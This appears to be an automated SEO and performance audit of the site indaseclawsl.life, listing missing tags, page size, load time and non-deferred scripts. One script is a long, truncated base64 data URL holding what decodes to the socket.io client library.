Ranklexa Reviews

indaseclawsl.life reviews

Reviews
Report generated on 2024-11-14 at 22:00:36 (UTC +00:00).
1 month ago
SEO
Title
The title tag is missing or empty.
The title tag must be between 1 and 60 characters.
The current title has 0 characters.
The title tag is the HTML element that specifies the title of the webpage. The title tag is displayed at the top of your browser, in the search results, as well as in the bookmarks bar.
Learn more
Meta description
The meta description tag is missing or empty.
The meta description is an HTML tag that provides a short and accurate summary of the webpage. The meta description is used by search engines to identify a webpage's topic and provide relevant search results.
Learn more
Headings
There is no h1 tag on the webpage.
The h tags represents the headings of the webpage. The h1 tag is the most important h tag, and describes the main topic of the page, while the rest of the tags describe the sub-topics of the webpage.
Learn more
Content keywords
No relevant keywords found on the webpage.
The webpage's content should contain relevant keywords that can also be found in the title of the webpage.
The alt attribute specifies an alternate text for an image, if the image cannot be displayed. The alt attribute is also useful for search engines to identify the subject of the image, and helps screen readers describe the image.
Learn more
SEO friendly URL
The URL does not contain any relevant keywords.
https://indaseclawsl.life/
The SEO friendly URLs are URLs that contain relevant keywords with the webpage's topic, and contain no special characters besides slashes and dashes.
Learn more
404 page
The website has 404 error pages.
The 404 webpage status informs the users and the search engines that a webpage is missing.
Learn more
Robots.txt
The webpage can be accessed by search engines.
A robots.txt file inform the search engines which links from the website can be accessed.
Learn more
Noindex
The webpage does not have a noindex tag set.
The noindex tag instruct the search engines to not index the webpage.
Learn more
In-page links
The number of links on the webpage is okay.
Language
The webpage has the language declared.
en
The lang attribute declares the webpage's language, helping search engines identify the language in which the content is written, and browsers to offer translation suggestions.
Learn more
The favicon is the icon that is being displayed in the browser's tab, when the webpage is being bookmarked, and sometimes even in search engine results.
Learn more
Performance
Text compression
The HTML file is not compressed.
The HTML filesize is 627.36 kB.
The text compression helps speeding up the webpage's load by compressing the HTML's content.
Load time
The webpage loaded in 1.12 seconds.
The load time indicates the HTML's total load time, and does not include the external resources, such as images, scripts, or other resources.
Page size
The webpage HTML size is larger than 330.00 kB.
The page size indicates the HTML's total size, and does not include the external resources, such as images, scripts, or other resources.
HTTP requests
There are fewer than 11 HTTP requests on the webpage.
The HTTP requests represents the number of external resources present on the webpage.
The images format represents the images that are not served in a next-generation file format. Images served in a next-generation format improve the webpage's load performance.
Learn more
JavaScript defer
There are 5 javascript resources without the defer attribute.
  1. https://indaseclawsl.life/data:text/javascript;base64,IWZ1bmN0aW9uKHQsZSl7Im9iamVjdCI9PXR5cGVvZiBleHBvcnRzJiYib2JqZWN0Ij09dHlwZW9mIG1vZHVsZT9tb2R1bGUuZXhwb3J0cz1lKCk6ImZ1bmN0aW9uIj09dHlwZW9mIGRlZmluZSYmZGVmaW5lLmFtZD9kZWZpbmUoW10sZSk6Im9iamVjdCI9PXR5cGVvZiBleHBvcnRzP2V4cG9ydHMuaW89ZSgpOnQuaW89ZSgpfSh0aGlzLGZ1bmN0aW9uKCl7cmV0dXJuIGZ1bmN0aW9uKHQpe2Z1bmN0aW9uIGUocil7aWYobltyXSlyZXR1cm4gbltyXS5leHBvcnRzO3ZhciBvPW5bcl09e2V4cG9ydHM6e30saWQ6cixsb2FkZWQ6ITF9O3JldHVybiB0W3JdLmNhbGwoby5leHBvcnRzLG8sby5leHBvcnRzLGUpLG8ubG9hZGVkPSEwLG8uZXhwb3J0c312YXIgbj17fTtyZXR1cm4gZS5tPXQsZS5jPW4sZS5wPSIiLGUoMCl9KFtmdW5jdGlvbih0LGUsbil7InVzZSBzdHJpY3QiO2Z1bmN0aW9uIHIodCxlKXsib2JqZWN0Ij09PSgidW5kZWZpbmVkIj09dHlwZW9mIHQ/InVuZGVmaW5lZCI6byh0KSkmJihlPXQsdD12b2lkIDApLGU9ZXx8e307dmFyIG4scj1pKHQpLHM9ci5zb3VyY2UsdT1yLmlkLGg9ci5wYXRoLGY9cFt1XSYmaCBpbiBwW3VdLm5zcHMsbD1lLmZvcmNlTmV3fHxlWyJmb3JjZSBuZXcgY29ubmVjdGlvbiJdfHwhMT09PWUubXVsdGlwbGV4fHxmO3JldHVybiBsPyhjKCJpZ25vcmluZyBzb2NrZXQgY2FjaGUgZm9yICVzIixzKSxuPWEocyxlKSk6KHBbdV18fChjKCJuZXcgaW8gaW5zdGFuY2UgZm9yICVzIixzKSxwW3VdPWEocyxlKSksbj1wW3VdKSxyLnF1ZXJ5JiYhZS5xdWVyeSYmKGUucXVlcnk9ci5xdWVyeSksbi5zb2NrZXQoci5wYXRoLGUpfXZhciBvPSJmdW5jdGlvbiI9PXR5cGVvZiBTeW1ib2wmJiJzeW1ib2wiPT10eXBlb2YgU3ltYm9sLml0ZXJhdG9yP2Z1bmN0aW9uKHQpe3JldHVybiB0eXBlb2YgdH06ZnVuY3Rpb24odCl7cmV0dXJuIHQmJiJmdW5jdGlvbiI9PXR5cGVvZiBTeW1ib2wmJnQuY29uc3RydWN0b3I9PT1TeW1ib2wmJnQhPT1TeW1ib2wucHJvdG90eXBlPyJzeW1ib2wiOnR5cGVvZiB0fSxpPW4oMSkscz1uKDcpLGE9bigxMyksYz1uKDMpKCJzb2NrZXQuaW8tY2xpZW50Iik7dC5leHBvcnRzPWU9cjt2YXIgcD1lLm1hbmFnZXJzPXt9O2UucHJvdG9jb2w9cy5wcm90b2NvbCxlLmNvbm5lY3Q9cixlLk1hbmFnZXI9bigxMyksZS5Tb2NrZXQ9bigzNyl9LGZ1bmN0aW9uKHQsZSxuKXsoZnVuY3Rpb24oZSl7InVzZSBzdHJpY3QiO2Z1bmN0aW9uIHIodCxuKXt2YXIgcj10O249bnx8ZS5sb2NhdGlvbixudWxsPT10JiYodD1uLnByb3RvY29sKyIvLyIrbi5ob3N0KSwic3RyaW5nIj09dHlwZW9mIHQmJigiLyI9PT10LmNoYXJBdCgwKSYmKHQ9Ii8iPT09dC5jaGFyQXQoMSk/bi5wcm90b2NvbCt0Om4uaG9zdCt0KSwvXihodHRwcz98d3NzPyk6XC9cLy8udGVzdCh0KXx8KGkoInByb3RvY29sLWxlc3MgdXJsICVzIix0KSx0PSJ1bmRlZmluZWQiIT10eXBlb2Ygbj9uLnByb3RvY29sKyIvLyIrdDoiaHR0cHM6Ly8iK3QpLGkoInBhcnNlICVzIix0KSxyPW8odCkpLHIucG9ydHx8KC9eKGh0dHB8d3MpJC8udGVzdChyLnByb3RvY29sKT9yLnBvcnQ9IjgwIjovXihodHRwfHdzKXMkLy50ZXN0KHIucHJvdG9jb2wpJiYoci5wb3J0PSI0NDMiKSksci5wYXRoPXIucGF0aHx8Ii8iO3ZhciBzPXIuaG9zdC5pbmRleE9mKCI6IikhPT0tMSxhPXM/IlsiK3IuaG9zdCsiXSI6ci5ob3N0O3JldHVybiByLmlkPXIucHJvdG9jb2wrIjovLyIrYSsiOiIrci5wb3J0LHIuaHJlZj1yLnByb3RvY29sKyI6Ly8iK2ErKG4mJm4ucG9ydD09PXIucG9ydD8iIjoiOiIrci5wb3J0KSxyfXZhciBvPW4oMiksaT1uKDMpKCJzb2NrZXQuaW8tY2xpZW50OnVybCIpO3QuZXhwb3J0cz1yfSkuY2FsbChlLGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXN9KCkpfSxmdW5jdGlvbih0LGUpe3ZhciBuPS9eKD86KD8hW146QF0rOlteOkBcL10qQCkoaHR0cHxodHRwc3x3c3x3c3MpOlwvXC8pPygoPzooKFteOkBdKikoPzo6KFteOkBdKikpPyk/QCk/KCg/OlthLWYwLTldezAsNH06KXsyLDd9W2EtZjAtOV17MCw0fXxbXjpcLz8jXSopKD86OihcZCopKT8pKCgoXC8oPzpbXj8jXSg/IVtePyNcL10qXC5bXj8jXC8uXSsoPzpbPyNdfCQpKSkqXC8/KT8oW14/I1wvXSopKSg/Olw/KFteI10qKSk/KD86IyguKikpPykvLHI9WyJzb3VyY2UiLCJwcm90b2NvbCIsImF1dGhvcml0eSIsInVzZXJJbmZvIiwidXNlciIsInBhc3N3b3JkIiwiaG9zdCIsInBvcnQiLCJyZWxhdGl2ZSIsInBhdGgiLCJkaXJlY3RvcnkiLCJmaWxlIiwicXVlcnkiLCJhbmNob3IiXTt0LmV4cG9ydHM9ZnVuY3Rpb24odCl7dmFyIGU9dCxvPXQuaW5kZXhPZigiWyIpLGk9dC5pbmRleE9mKCJdIik7byE9LTEmJmkhPS0xJiYodD10LnN1YnN0cmluZygwLG8pK3Quc3Vic3RyaW5nKG8saSkucmVwbGFjZSgvOi9nLCI7IikrdC5zdWJzdHJpbmcoaSx0Lmxlbmd0aCkpO2Zvcih2YXIgcz1uLmV4ZWModHx8IiIpLGE9e30sYz0xNDtjLS07KWFbcltjXV09c1tjXXx8IiI7cmV0dXJuIG8hPS0xJiZpIT0tMSYmKGEuc291cmNlPWUsYS5ob3N0PWEuaG9zdC5zdWJzdHJpbmcoMSxhLmhvc3QubGVuZ3RoLTEpLnJlcGxhY2UoLzsvZywiOiIpLGEuYXV0aG9yaXR5PWEuYXV0aG9yaXR5LnJlcGxhY2UoIlsiLCIiKS5yZXBsYWNlKCJdIiwiIikucmVwbGFjZSgvOy9nLCI6IiksYS5pcHY2dXJpPSEwKSxhfX0sZnVuY3Rpb24odCxlLG4peyhmdW5jdGlvbihyKXtmdW5jdGlvbiBvKCl7cmV0dXJuISgidW5kZWZpbmVkIj09dHlwZW9mIHdpbmRvd3x8IXdpbmRvdy5wcm9jZXNzfHwicmVuZGVyZXIiIT09d2luZG93LnByb2Nlc3MudHlwZSl8fCgidW5kZWZpbmVkIiE9dHlwZW9mIGRvY3VtZW50JiZkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQmJmRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zdHlsZSYmZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LnN0eWxlLldlYmtpdEFwcGVhcmFuY2V8fCJ1bmRlZmluZWQiIT10eXBlb2Ygd2luZG93JiZ3aW5kb3cuY29uc29sZSYmKHdpbmRvdy5jb25zb2xlLmZpcmVidWd8fHdpbmRvdy5jb25zb2xlLmV4Y2VwdGlvbiYmd2luZG93LmNvbnNvbGUudGFibGUpfHwidW5kZWZpbmVkIiE9dHlwZW9mIG5hdmlnYXRvciYmbmF2aWdhdG9yLnVzZXJBZ2VudCYmbmF2aWdhdG9yLnVzZXJBZ2VudC50b0xvd2VyQ2FzZSgpLm1hdGNoKC9maXJlZm94XC8oXGQrKS8pJiZwYXJzZUludChSZWdFeHAuJDEsMTApPj0zMXx8InVuZGVmaW5lZCIhPXR5cGVvZiBuYXZpZ2F0b3ImJm5hdmlnYXRvci51c2VyQWdlbnQmJm5hdmlnYXRvci51c2VyQWdlbnQudG9Mb3dlckNhc2UoKS5tYXRjaCgvYXBwbGV3ZWJraXRcLyhcZCspLykpfWZ1bmN0aW9uIGkodCl7dmFyIG49dGhpcy51c2VDb2xvcnM7aWYodFswXT0obj8iJWMiOiIiKSt0aGlzLm5hbWVzcGFjZSsobj8iICVjIjoiICIpK3RbMF0rKG4/IiVjICI6IiAiKSsiKyIrZS5odW1hbml6ZSh0aGlzLmRpZmYpLG4pe3ZhciByPSJjb2xvcjogIit0aGlzLmNvbG9yO3Quc3BsaWNlKDEsMCxyLCJjb2xvcjogaW5oZXJpdCIpO3ZhciBvPTAsaT0wO3RbMF0ucmVwbGFjZSgvJVthLXpBLVolXS9nLGZ1bmN0aW9uKHQpeyIlJSIhPT10JiYobysrLCIlYyI9PT10JiYoaT1vKSl9KSx0LnNwbGljZShpLDAscil9fWZ1bmN0aW9uIHMoKXtyZXR1cm4ib2JqZWN0Ij09dHlwZW9mIGNvbnNvbGUmJmNvbnNvbGUubG9nJiZGdW5jdGlvbi5wcm90b3R5cGUuYXBwbHkuY2FsbChjb25zb2xlLmxvZyxjb25zb2xlLGFyZ3VtZW50cyl9ZnVuY3Rpb24gYSh0KXt0cnl7bnVsbD09dD9lLnN0b3JhZ2UucmVtb3ZlSXRlbSgiZGVidWciKTplLnN0b3JhZ2UuZGVidWc9dH1jYXRjaChuKXt9fWZ1bmN0aW9uIGMoKXt2YXIgdDt0cnl7dD1lLnN0b3JhZ2UuZGVidWd9Y2F0Y2gobil7fXJldHVybiF0JiYidW5kZWZpbmVkIiE9dHlwZW9mIHImJiJlbnYiaW4gciYmKHQ9ci5lbnYuREVCVUcpLHR9ZnVuY3Rpb24gcCgpe3RyeXtyZXR1cm4gd2luZG93LmxvY2FsU3RvcmFnZX1jYXRjaCh0KXt9fWU9dC5leHBvcnRzPW4oNSksZS5sb2c9cyxlLmZvcm1hdEFyZ3M9aSxlLnNhdmU9YSxlLmxvYWQ9YyxlLnVzZUNvbG9ycz1vLGUuc3RvcmFnZT0idW5kZWZpbmVkIiE9dHlwZW9mIGNocm9tZSYmInVuZGVmaW5lZCIhPXR5cGVvZiBjaHJvbWUuc3RvcmFnZT9jaHJvbWUuc3RvcmFnZS5sb2NhbDpwKCksZS5jb2xvcnM9WyJsaWdodHNlYWdyZWVuIiwiZm9yZXN0Z3JlZW4iLCJnb2xkZW5yb2QiLCJkb2RnZXJibHVlIiwiZGFya29yY2hpZCIsImNyaW1zb24iXSxlLmZvcm1hdHRlcnMuaj1mdW5jdGlvbih0KXt0cnl7cmV0dXJuIEpTT04uc3RyaW5naWZ5KHQpfWNhdGNoKGUpe3JldHVybiJbVW5leHBlY3RlZEpTT05QYXJzZUVycm9yXTogIitlLm1lc3NhZ2V9fSxlLmVuYWJsZShjKCkpfSkuY2FsbChlLG4oNCkpfSxmdW5jdGlvbih0LGUpe2Z1bmN0aW9uIG4oKXt0aHJvdyBuZXcgRXJyb3IoInNldFRpbWVvdXQgaGFzIG5vdCBiZWVuIGRlZmluZWQiKX1mdW5jdGlvbiByKCl7dGhyb3cgbmV3IEVycm9yKCJjbGVhclRpbWVvdXQgaGFzIG5vdCBiZWVuIGRlZmluZWQiKX1mdW5jdGlvbiBvKHQpe2lmKHU9PT1zZXRUaW1lb3V0KXJldHVybiBzZXRUaW1lb3V0KHQsMCk7aWYoKHU9PT1ufHwhdSkmJnNldFRpbWVvdXQpcmV0dXJuIHU9c2V0VGltZW91dCxzZXRUaW1lb3V0KHQsMCk7dHJ5e3JldHVybiB1KHQsMCl9Y2F0Y2goZSl7dHJ5e3JldHVybiB1LmNhbGwobnVsbCx0LDApfWNhdGNoKGUpe3JldHVybiB1LmNhbGwodGhpcyx0LDApfX19ZnVuY3Rpb24gaSh0KXtpZihoPT09Y2xlYXJUaW1lb3V0KXJldHVybiBjbGVhclRpbWVvdXQodCk7aWYoKGg9PT1yfHwhaCkmJmNsZWFyVGltZW91dClyZXR1cm4gaD1jbGVhclRpbWVvdXQsY2xlYXJUaW1lb3V0KHQpO3RyeXtyZXR1cm4gaCh0KX1jYXRjaChlKXt0cnl7cmV0dXJuIGguY2FsbChudWxsLHQpfWNhdGNoKGUpe3JldHVybiBoLmNhbGwodGhpcyx0KX19fWZ1bmN0aW9uIHMoKXt5JiZsJiYoeT0hMSxsLmxlbmd0aD9kPWwuY29uY2F0KGQpOm09LTEsZC5sZW5ndGgmJmEoKSl9ZnVuY3Rpb24gYSgpe2lmKCF5KXt2YXIgdD1vKHMpO3k9ITA7Zm9yKHZhciBlPWQubGVuZ3RoO2U7KXtmb3IobD1kLGQ9W107KyttPGU7KWwmJmxbbV0ucnVuKCk7bT0tMSxlPWQubGVuZ3RofWw9bnVsbCx5PSExLGkodCl9fWZ1bmN0aW9uIGModCxlKXt0aGlzLmZ1bj10LHRoaXMuYXJyYXk9ZX1mdW5jdGlvbiBwKCl7fXZhciB1LGgsZj10LmV4cG9ydHM9e307IWZ1bmN0aW9uKCl7dHJ5e3U9ImZ1bmN0aW9uIj09dHlwZW9mIHNldFRpbWVvdXQ/c2V0VGltZW91dDpufWNhdGNoKHQpe3U9bn10cnl7aD0iZnVuY3Rpb24iPT10eXBlb2YgY2xlYXJUaW1lb3V0P2NsZWFyVGltZW91dDpyfWNhdGNoKHQpe2g9cn19KCk7dmFyIGwsZD1bXSx5PSExLG09LTE7Zi5uZXh0VGljaz1mdW5jdGlvbih0KXt2YXIgZT1uZXcgQXJyYXkoYXJndW1lbnRzLmxlbmd0aC0xKTtpZihhcmd1bWVudHMubGVuZ3RoPjEpZm9yKHZhciBuPTE7bjxhcmd1bWVudHMubGVuZ3RoO24rKyllW24tMV09YXJndW1lbnRzW25dO2QucHVzaChuZXcgYyh0LGUpKSwxIT09ZC5sZW5ndGh8fHl8fG8oYSl9LGMucHJvdG90eXBlLnJ1bj1mdW5jdGlvbigpe3RoaXMuZnVuLmFwcGx5KG51bGwsdGhpcy5hcnJheSl9LGYudGl0bGU9ImJyb3dzZXIiLGYuYnJvd3Nlcj0hMCxmLmVudj17fSxmLmFyZ3Y9W10sZi52ZXJzaW9uPSIiLGYudmVyc2lvbnM9e30sZi5vbj1wLGYuYWRkTGlzdGVuZXI9cCxmLm9uY2U9cCxmLm9mZj1wLGYucmVtb3ZlTGlzdGVuZXI9cCxmLnJlbW92ZUFsbExpc3RlbmVycz1wLGYuZW1pdD1wLGYucHJlcGVuZExpc3RlbmVyPXAsZi5wcmVwZW5kT25jZUxpc3RlbmVyPXAsZi5saXN0ZW5lcnM9ZnVuY3Rpb24odCl7cmV0dXJuW119LGYuYmluZGluZz1mdW5jdGlvbih0KXt0aHJvdyBuZXcgRXJyb3IoInByb2Nlc3MuYmluZGluZyBpcyBub3Qgc3VwcG9ydGVkIil9LGYuY3dkPWZ1bmN0aW9uKCl7cmV0dXJuIi8ifSxmLmNoZGlyPWZ1bmN0aW9uKHQpe3Rocm93IG5ldyBFcnJvcigicHJvY2Vzcy5jaGRpciBpcyBub3Qgc3VwcG9ydGVkIil9LGYudW1hc2s9ZnVuY3Rpb24oKXtyZXR1cm4gMH19LGZ1bmN0aW9uKHQsZSxuKXtmdW5jdGlvbiByKHQpe3ZhciBuLHI9MDtmb3IobiBpbiB0KXI9KHI8PDUpLXIrdC5jaGFyQ29kZUF0KG4pLHJ8PTA7cmV0dXJuIGUuY29sb3JzW01hdGguYWJzKHIpJWUuY29sb3JzLmxlbmd0aF19ZnVuY3Rpb24gbyh0KXtmdW5jdGlvbiBuKCl7aWYobi5lbmFibGVkKXt2YXIgdD1uLHI9K25ldyBEYXRlLG89ci0ocHx8cik7dC5kaWZmPW8sdC5wcmV2PXAsdC5jdXJyPXIscD1yO2Zvcih2YXIgaT1uZXcgQXJyYXkoYXJndW1lbnRzLmxlbmd0aCkscz0wO3M8aS5sZW5ndGg7cysrKWlbc109YXJndW1lbnRzW3NdO2lbMF09ZS5jb2VyY2UoaVswXSksInN0cmluZyIhPXR5cGVvZiBpWzBdJiZpLnVuc2hpZnQoIiVPIik7dmFyIGE9MDtpWzBdPWlbMF0ucmVwbGFjZSgvJShbYS16QS1aJV0pL2csZnVuY3Rpb24obixyKXtpZigiJSUiPT09bilyZXR1cm4gbjthKys7dmFyIG89ZS5mb3JtYXR0ZXJzW3JdO2lmKCJmdW5jdGlvbiI9PXR5cGVvZiBvKXt2YXIgcz1pW2FdO249by5jYWxsKHQscyksaS5zcGxpY2UoYSwxKSxhLS19cmV0dXJuIG59KSxlLmZvcm1hdEFyZ3MuY2FsbCh0LGkpO3ZhciBjPW4ubG9nfHxlLmxvZ3x8Y29uc29sZS5sb2cuYmluZChjb25zb2xlKTtjLmFwcGx5KHQsaSl9fXJldHVybiBuLm5hbWVzcGFjZT10LG4uZW5hYmxlZD1lLmVuYWJsZWQodCksbi51c2VDb2xvcnM9ZS51c2VDb2xvcnMoKSxuLmNvbG9yPXIodCksImZ1bmN0aW9uIj09dHlwZW9mIGUuaW5pdCYmZS5pbml0KG4pLG59ZnVuY3Rpb24gaSh0KXtlLnNhdmUodCksZS5uYW1lcz1bXSxlLnNraXBzPVtdO2Zvcih2YXIgbj0oInN0cmluZyI9PXR5cGVvZiB0P3Q6IiIpLnNwbGl0KC9bXHMsXSsvKSxyPW4ubGVuZ3RoLG89MDtvPHI7bysrKW5bb10mJih0PW5bb10ucmVwbGFjZSgvXCovZywiLio/IiksIi0iPT09dFswXT9lLnNraXBzLnB1c2gobmV3IFJlZ0V4cCgiXiIrdC5zdWJzdHIoMSkrIiQiKSk6ZS5uYW1lcy5wdXNoKG5ldyBSZWdFeHAoIl4iK3QrIiQiKSkpfWZ1bmN0aW9uIHMoKXtlLmVuYWJsZSgiIil9ZnVuY3Rpb24gYSh0KXt2YXIgbixyO2ZvcihuPTAscj1lLnNraXBzLmxlbmd0aDtuPHI7bisrKWlmKGUuc2tpcHNbbl0udGVzdCh0KSlyZXR1cm4hMTtmb3Iobj0wLHI9ZS5uYW1lcy5sZW5ndGg7bjxyO24rKylpZihlLm5hbWVzW25dLnRlc3QodCkpcmV0dXJuITA7cmV0dXJuITF9ZnVuY3Rpb24gYyh0KXtyZXR1cm4gdCBpbnN0YW5jZW9mIEVycm9yP3Quc3RhY2t8fHQubWVzc2FnZTp0fWU9dC5leHBvcnRzPW8uZGVidWc9b1siZGVmYXVsdCJdPW8sZS5jb2VyY2U9YyxlLmRpc2FibGU9cyxlLmVuYWJsZT1pLGUuZW5hYmxlZD1hLGUuaHVtYW5pemU9big2KSxlLm5hbWVzPVtdLGUuc2tpcHM9W10sZS5mb3JtYXR0ZXJzPXt9O3ZhciBwfSxmdW5jdGlvbih0LGUpe2Z1bmN0aW9uIG4odCl7aWYodD1TdHJpbmcodCksISh0Lmxlbmd0aD4xMDApKXt2YXIgZT0vXigoPzpcZCspP1wuP1xkKykgKihtaWxsaXNlY29uZHM/fG1zZWNzP3xtc3xzZWNvbmRzP3xzZWNzP3xzfG1pbnV0ZXM/fG1pbnM/fG18aG91cnM/fGhycz98aHxkYXlzP3xkfHllYXJzP3x5cnM/fHkpPyQvaS5leGVjKHQpO2lmKGUpe3ZhciBuPXBhcnNlRmxvYXQoZVsxXSkscj0oZVsyXXx8Im1zIikudG9Mb3dlckNhc2UoKTtzd2l0Y2gocil7Y2FzZSJ5ZWFycyI6Y2FzZSJ5ZWFyIjpjYXNlInlycyI6Y2FzZSJ5ciI6Y2FzZSJ5IjpyZXR1cm4gbip1O2Nhc2UiZGF5cyI6Y2FzZSJkYXkiOmNhc2UiZCI6cmV0dXJuIG4qcDtjYXNlImhvdXJzIjpjYXNlImhvdXIiOmNhc2UiaHJzIjpjYXNlImhyIjpjYXNlImgiOnJldHVybiBuKmM7Y2FzZSJtaW51dGVzIjpjYXNlIm1pbnV0ZSI6Y2FzZSJtaW5zIjpjYXNlIm1pbiI6Y2FzZSJtIjpyZXR1cm4gbiphO2Nhc2Uic2Vjb25kcyI6Y2FzZSJzZWNvbmQiOmNhc2Uic2VjcyI6Y2FzZSJzZWMiOmNhc2UicyI6cmV0dXJuIG4qcztjYXNlIm1pbGxpc2Vjb25kcyI6Y2FzZSJtaWxsaXNlY29uZCI6Y2FzZSJtc2VjcyI6Y2FzZSJtc2VjIjpjYXNlIm1zIjpyZXR1cm4gbjtkZWZhdWx0OnJldHVybn19fX1mdW5jdGlvbiByKHQpe3JldHVybiB0Pj1wP01hdGgucm91bmQodC9wKSsiZCI6dD49Yz9NYXRoLnJvdW5kKHQvYykrImgiOnQ+PWE/TWF0aC5yb3VuZCh0L2EpKyJtIjp0Pj1zP01hdGgucm91bmQodC9zKSsicyI6dCsibXMifWZ1bmN0aW9uIG8odCl7cmV0dXJuIGkodCxwLCJkYXkiKXx8aSh0LGMsImhvdXIiKXx8aSh0LGEsIm1pbnV0ZSIpfHxpKHQscywic2Vjb25kIil8fHQrIiBtcyJ9ZnVuY3Rpb24gaSh0LGUsbil7aWYoISh0PGUpKXJldHVybiB0PDEuNSplP01hdGguZmxvb3IodC9lKSsiICIrbjpNYXRoLmNlaWwodC9lKSsiICIrbisicyJ9dmFyIHM9MWUzLGE9NjAqcyxjPTYwKmEscD0yNCpjLHU9MzY1LjI1KnA7dC5leHBvcnRzPWZ1bmN0aW9uKHQsZSl7ZT1lfHx7fTt2YXIgaT10eXBlb2YgdDtpZigic3RyaW5nIj09PWkmJnQubGVuZ3RoPjApcmV0dXJuIG4odCk7aWYoIm51bWJlciI9PT1pJiZpc05hTih0KT09PSExKXJldHVybiBlWyJsb25nIl0/byh0KTpyKHQpO3Rocm93IG5ldyBFcnJvcigidmFsIGlzIG5vdCBhIG5vbi1lbXB0eSBzdHJpbmcgb3IgYSB2YWxpZCBudW1iZXIuIHZhbD0iK0pTT04uc3RyaW5naWZ5KHQpKX19LGZ1bmN0aW9uKHQsZSxuKXtmdW5jdGlvbiByKCl7fWZ1bmN0aW9uIG8odCl7dmFyIG49IiIrdC50eXBlO3JldHVybiBlLkJJTkFSWV9FVkVOVCE9PXQudHlwZSYmZS5CSU5BUllfQUNLIT09dC50eXBlfHwobis9dC5hdHRhY2htZW50cysiLSIpLHQubnNwJiYiLyIhPT10Lm5zcCYmKG4rPXQubnNwKyIsIiksbnVsbCE9dC5pZCYmKG4rPXQuaWQpLG51bGwhPXQuZGF0YSYmKG4rPUpTT04uc3RyaW5naWZ5KHQuZGF0YSkpLGgoImVuY29kZWQgJWogYXMgJXMiLHQsbiksbn1mdW5jdGlvbiBpKHQsZSl7ZnVuY3Rpb24gbih0KXt2YXIgbj1kLmRlY29uc3RydWN0UGFja2V0KHQpLHI9byhuLnBhY2tldCksaT1uLmJ1ZmZlcnM7aS51bnNoaWZ0KHIpLGUoaSl9ZC5yZW1vdmVCbG9icyh0LG4pfWZ1bmN0aW9uIHMoKXt0aGlzLnJlY29uc3RydWN0b3I9bnVsbH1mdW5jdGlvbiBhKHQpe3ZhciBuPTAscj17dHlwZTpOdW1iZXIodC5jaGFyQXQoMCkpfTtpZihudWxsPT1lLnR5cGVzW3IudHlwZV0pcmV0dXJuIHUoKTtpZihlLkJJTkFSWV9FVkVOVD09PXIudHlwZXx8ZS5CSU5BUllfQUNLPT09ci50eXBlKXtmb3IodmFyIG89IiI7Ii0iIT09dC5jaGFyQXQoKytuKSYmKG8rPXQuY2hhckF0KG4pLG4hPXQubGVuZ3RoKTspO2lmKG8hPU51bWJlcihvKXx8Ii0iIT09dC5jaGFyQXQobikpdGhyb3cgbmV3IEVycm9yKCJJbGxlZ2FsIGF0dGFjaG1lbnRzIik7ci5hdHRhY2htZW50cz1OdW1iZXIobyl9aWYoIi8iPT09dC5jaGFyQXQobisxKSlmb3Ioci5uc3A9IiI7KytuOyl7dmFyIGk9dC5jaGFyQXQobik7aWYoIiwiPT09aSlicmVhaztpZihyLm5zcCs9aSxuPT09dC5sZW5ndGgpYnJlYWt9ZWxzZSByLm5zcD0iLyI7dmFyIHM9dC5jaGFyQXQobisxKTtpZigiIiE9PXMmJk51bWJlcihzKT09cyl7Zm9yKHIuaWQ9IiI7KytuOyl7dmFyIGk9dC5jaGFyQXQobik7aWYobnVsbD09aXx8TnVtYmVyKGkpIT1pKXstLW47YnJlYWt9aWYoci5pZCs9dC5jaGFyQXQobiksbj09PXQubGVuZ3RoKWJyZWFrfXIuaWQ9TnVtYmVyKHIuaWQpfXJldHVybiB0LmNoYXJBdCgrK24pJiYocj1jKHIsdC5zdWJzdHIobikpKSxoKCJkZWNvZGVkICVzIGFzICVqIix0LHIpLHJ9ZnVuY3Rpb24gYyh0LGUpe3RyeXt0LmRhdGE9SlNPTi5wYXJzZShlKX1jYXRjaChuKXtyZXR1cm4gdSgpfXJldHVybiB0fWZ1bmN0aW9uIHAodCl7dGhpcy5yZWNvblBhY2s9dCx0aGlzLmJ1ZmZlcnM9W119ZnVuY3Rpb24gdSgpe3JldHVybnt0eXBlOmUuRVJST1IsZGF0YToicGFyc2VyIGVycm9yIn19dmFyIGg9bigzKSgic29ja2V0LmlvLXBhcnNlciIpLGY9big4KSxsPW4oOSksZD1uKDExKSx5PW4oMTIpO2UucHJvdG9jb2w9NCxlLnR5cGVzPVsiQ09OTkVDVCIsIkRJU0NPTk5FQ1QiLCJFVkVOVCIsIkFDSyIsIkVSUk9SIiwiQklOQVJZX0VWRU5UIiwiQklOQVJZX0FDSyJdLGUuQ09OTkVDVD0wLGUuRElTQ09OTkVDVD0xLGUuRVZFTlQ9MixlLkFDSz0zLGUuRVJST1I9NCxlLkJJTkFSWV9FVkVOVD01LGUuQklOQVJZX0FDSz02LGUuRW5jb2Rlcj1yLGUuRGVjb2Rlcj1zLHIucHJvdG90eXBlLmVuY29kZT1mdW5jdGlvbih0LG4pe2lmKHQudHlwZSE9PWUuRVZFTlQmJnQudHlwZSE9PWUuQUNLfHwhbCh0LmRhdGEpfHwodC50eXBlPXQudHlwZT09PWUuRVZFTlQ/ZS5CSU5BUllfRVZFTlQ6ZS5CSU5BUllfQUNLKSxoKCJlbmNvZGluZyBwYWNrZXQgJWoiLHQpLGUuQklOQVJZX0VWRU5UPT09dC50eXBlfHxlLkJJTkFSWV9BQ0s9PT10LnR5cGUpaSh0LG4pO2Vsc2V7dmFyIHI9byh0KTtuKFtyXSl9fSxmKHMucHJvdG90eXBlKSxzLnByb3RvdHlwZS5hZGQ9ZnVuY3Rpb24odCl7dmFyIG47aWYoInN0cmluZyI9PXR5cGVvZiB0KW49YSh0KSxlLkJJTkFSWV9FVkVOVD09PW4udHlwZXx8ZS5CSU5BUllfQUNLPT09bi50eXBlPyh0aGlzLnJlY29uc3RydWN0b3I9bmV3IHAobiksMD09PXRoaXMucmVjb25zdHJ1Y3Rvci5yZWNvblBhY2suYXR0YWNobWVudHMmJnRoaXMuZW1pdCgiZGVjb2RlZCIsbikpOnRoaXMuZW1pdCgiZGVjb2RlZCIsbik7ZWxzZXtpZigheSh0KSYmIXQuYmFzZTY0KXRocm93IG5ldyBFcnJvcigiVW5rbm93biB0eXBlOiAiK3QpO2lmKCF0aGlzLnJlY29uc3RydWN0b3IpdGhyb3cgbmV3IEVycm9yKCJnb3QgYmluYXJ5IGRhdGEgd2hlbiBub3QgcmVj